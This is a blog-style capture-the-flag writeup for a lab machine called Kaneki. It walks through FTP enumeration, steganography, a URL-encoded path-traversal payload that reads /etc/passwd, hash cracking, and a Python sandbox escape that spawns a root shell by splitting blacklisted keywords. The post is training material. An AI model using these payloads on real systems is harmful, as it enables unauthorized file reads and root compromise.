DEV Community

Cover image for Kaneki CTF Writeup: From Binary Exploitation to Python Sandbox Escape
Mohammad ali
Mohammad ali

Posted on

Kaneki CTF Writeup: From Binary Exploitation to Python Sandbox Escape

#python #webdev #ai #tutorial

In this writeup, I will walk you through the process of compromising the Kaneki CTF machine. This journey covers everything from network enumeration, reverse engineering, and steganography to web exploitation (LFI) and advanced Python sandbox escapes.

Phase 1: Enumeration & Reconnaissance

The journey starts by exploring the web interface.

  • Web Discovery: The homepage featured a "Tokyo Ghoul" theme.

  • Source Code Analysis: Checking the HTML source code is always a good practice. A hidden HTML comment suggested checking the "FTP room" for clues.

Port Scanning

I performed an Nmap scan to identify open services:

nmap -sV -sC [TARGET_IP]
Enter fullscreen mode Exit fullscreen mode
  • Results: Port 21 (FTP - Anonymous allowed), Port 22 (SSH), and Port 80 (HTTP) are open.

Phase 2: FTP Exploitation & Data Gathering

  • Authentication: Logged into FTP using the anonymous account. 
ftp [TARGET_IP]
Enter fullscreen mode Exit fullscreen mode

  • Extraction: Navigated to the need_Help? directory and downloaded Aogiri_tree.txt (containing lore-related hints), a binary named need_to_talk, and an image rize_and_kaneki.jpg. 
cd need_Help?
Enter fullscreen mode Exit fullscreen mode 
ls -la
Enter fullscreen mode Exit fullscreen mode 
get Aogiri_tree.txt
Enter fullscreen mode Exit fullscreen mode 


cd Talk_with_me
Enter fullscreen mode Exit fullscreen mode 
get rize_and_kaneki.jpg
Enter fullscreen mode Exit fullscreen mode 


get need_to_talk
Enter fullscreen mode Exit fullscreen mode 


exit
Enter fullscreen mode Exit fullscreen mode 
cat Aogiri_tree.txt
Enter fullscreen mode Exit fullscreen mode

Phase 3: Reverse Engineering & Steganography

  • Binary Analysis: Executed the need_to_talk binary, which requested a passphrase. 
chmod +x need_to_talk
Enter fullscreen mode Exit fullscreen mode 
./need_to_talk
Enter fullscreen mode Exit fullscreen mode

  • Keyword Discovery: Used the strings command on the binary to find the hidden keyword kamishiro. 
strings need_to_talk
Enter fullscreen mode Exit fullscreen mode

  • Passphrase Extraction: Entered the keyword to receive the image passphrase: You_found_1t. 
./need_to_talk
Enter fullscreen mode Exit fullscreen mode 
password : kamishiro
Enter fullscreen mode Exit fullscreen mode

  • Steganography: Used steghide to extract hidden data from the JPG file: 
steghide extract -sf rize_and_kaneki.jpg
Enter fullscreen mode Exit fullscreen mode 
passphrase: You_found_1t
Enter fullscreen mode Exit fullscreen mode
  • Outcome: Extracted yougotme.txt, which contained Morse Code. 
steghide extract -sf tize_and_kaneki.jpg
Enter fullscreen mode Exit fullscreen mode 


cat yougotme.txt
Enter fullscreen mode Exit fullscreen mode

  • Decoding: By using CyberChef (Morse $\rightarrow$ Hex $\rightarrow$ Base64), I revealed the secret directory: d1r3c70ry_center. 


d1r3c70ry_center
Enter fullscreen mode Exit fullscreen mode

Phase 4: Web Exploitation (LFI)

  • Directory Brute-Forcing: Accessed the new directory and ran Gobuster to find hidden paths, discovering /claim. 
http://[TARGET_IP]/d1r3c70ry_center/
Enter fullscreen mode Exit fullscreen mode 


gobuster dir  -u http://[TARGET_IP]/d1r3c70ry_center/ -w /usr/share/wordlists/dirb/common.txt
Enter fullscreen mode Exit fullscreen mode 


 http://[TARGET_IP]/d1r3c70ry_center/claim/index.php
Enter fullscreen mode Exit fullscreen mode

  • LFI Vulnerability: Identified a Local File Inclusion vulnerability in the view parameter.
  • Payload Bypass: To bypass filters, I URL-encoded the payload to read /etc/passwd. 
../../../../../../etc/passwd
Enter fullscreen mode Exit fullscreen mode 
%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
Enter fullscreen mode Exit fullscreen mode

  • Credential Recovery: Successfully read /etc/passwd and extracted the password hash for the user kamishiro. * 
http://[TARGET_IP]/d1r3c70ry_center/claim/index.php?view=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
Enter fullscreen mode Exit fullscreen mode 


username:kamishiro
password:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
Enter fullscreen mode Exit fullscreen mode
  • Hash Cracking: Saved the hash to pass.txt and cracked it using John the Ripper: 
nano pass.txt
Enter fullscreen mode Exit fullscreen mode 


$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
Enter fullscreen mode Exit fullscreen mode

  • Hash Cracking: Saved the hash to pass.txt and cracked it using John the Ripper: 
john pass.txt --wordlist=rockyou.txt
Enter fullscreen mode Exit fullscreen mode 


username : kamishiro  
password : password123
Enter fullscreen mode Exit fullscreen mode

Phase 5: Initial Access & Privilege Escalation

  • SSH Login: Authenticated via SSH using the cracked credentials and captured the User Flag. 
ssh kamishiro@[TARGET_IP]
Enter fullscreen mode Exit fullscreen mode 


password : password123
Enter fullscreen mode Exit fullscreen mode 
cat user.txt
Enter fullscreen mode Exit fullscreen mode

  • PrivEsc Enumeration: Running sudo -l revealed that the user could run a python script jail.py as root. 
sudo -l
Enter fullscreen mode Exit fullscreen mode 
password : password123
Enter fullscreen mode Exit fullscreen mode

  • Code Analysis: The script used exec() but implemented a blacklist filter for keywords like import, os, and system. 
cat jail.py
Enter fullscreen mode Exit fullscreen mode

  • Outcome: Finally, I became Root and captured the Root Flag. 
sudo /usr/bin/python3 /home/kamishiro/jail.py
Enter fullscreen mode Exit fullscreen mode

  • Python Sandbox Escape: I used string concatenation to bypass the blacklist and spawn a root shell: 
__builtins__.__dict__['__im' + 'port__']('o' + 's').__dict__['sys' + 'tem']('/bin/bash')
Enter fullscreen mode Exit fullscreen mode 
cd ..
Enter fullscreen mode Exit fullscreen mode 
cd ..
Enter fullscreen mode Exit fullscreen mode 
cd root
Enter fullscreen mode Exit fullscreen mode 
cat root.txt
Enter fullscreen mode Exit fullscreen mode

Top comments (0)